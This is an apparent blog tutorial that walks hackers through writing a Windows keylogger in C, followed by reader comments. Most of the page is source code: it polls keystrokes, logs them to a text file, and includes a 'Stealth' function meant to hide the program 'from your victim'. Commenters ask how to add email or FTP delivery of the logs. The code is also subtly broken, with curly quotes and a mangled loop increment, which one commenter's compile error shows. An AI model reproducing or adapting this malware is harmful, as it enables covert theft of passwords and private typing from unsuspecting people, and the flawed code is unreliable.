Hello friends, today I am going to teach you How to Code Keylogger in C Stepwise. Most of us are aware of the functionality of keyloggers. If not, let me give you some brief information about what keyloggers are and why they’re so important to hackers.
Keylogger Code in C |
#include <iostream>
using namespace std; //used to avoid the compilation errors because of redefinition of variables.
#include <windows.h>
#include<winuser.h>
int SaveLogs (int key_stroke, char *file);void Stealth(); //Declare stealth function to make you keylogger hidden.
int main()
{
Stealth(); // This will call the stealth function.
char i; //Here we declare ‘i’ from the type ‘char’while (1) // Here we say ‘while (1)’ execute the code.
{
for(i = 8; i <= 190; i )
{
if (GetAsyncKeyState(i) == -32767)
SaveLogs (i,”MYLOGS.txt”); // This will send the value of ‘i’ and “MYLOGS.txt” to our SaveLogs function.
}
}
system (“PAUSE”); // Here we say that the systems have to wait before exiting.
return 0;
}/************************************Separator********/
int SaveLogs (int key_stroke, char *file) // Here we define our SaveLogs function.
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, “a “);
cout << key_stroke << endl;if (key_stroke == 8) // The numbers stands for the ascii value of a character
fprintf(OUTPUT_FILE, “%s”, “[BACKSPACE]”);
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, “%s”, “n”);
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, “%s”, ” “);
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, “%s”, “[TAB]”);
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, “%s”, “[SHIFT]”);
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, “%s”, “[CONTROL]”);
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, “%s”, “[ESCAPE]”);
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, “%s”, “[END]”);
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, “%s”, “[HOME]”);
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, “%s”, “[LEFT]”);
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, “%s”, “[UP]”);
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, “%s”, “[RIGHT]”);
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, “%s”, “[DOWN]”);
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, “%s”, “.”);
else
fprintf(OUTPUT_FILE, “%s”, &key_stroke);fclose (OUTPUT_FILE);
return 0;
}/************************************Seperator********/
This part of the code will help you hide your keylogger from your victim and keep the program window hidden.
void Stealth(){HWND Stealth;AllocConsole();Stealth = FindWindowA(“ConsoleWindowClass”, NULL);ShowWindow(Stealth,0);}
paa says
where is the code for the email?
gohour says
C:\Users\Guest\Desktop\key logger.cpp [Error] stray ‘\224’ in program., it is giving error in int savelogs
Doug says
this is a really easy to follow guide thanks.
seth says
Can You post The links for difference between physical and remote key logger and the email and ftp function?
yonas says
i was running the programme but i cant get where the file hidden
Guest says
The File is in the same folder as your binary (.exe).
So If your path is C:\Keylogger than the file is in C:\Keylogger\bin\debug\
Hope it helps you
Dear Guest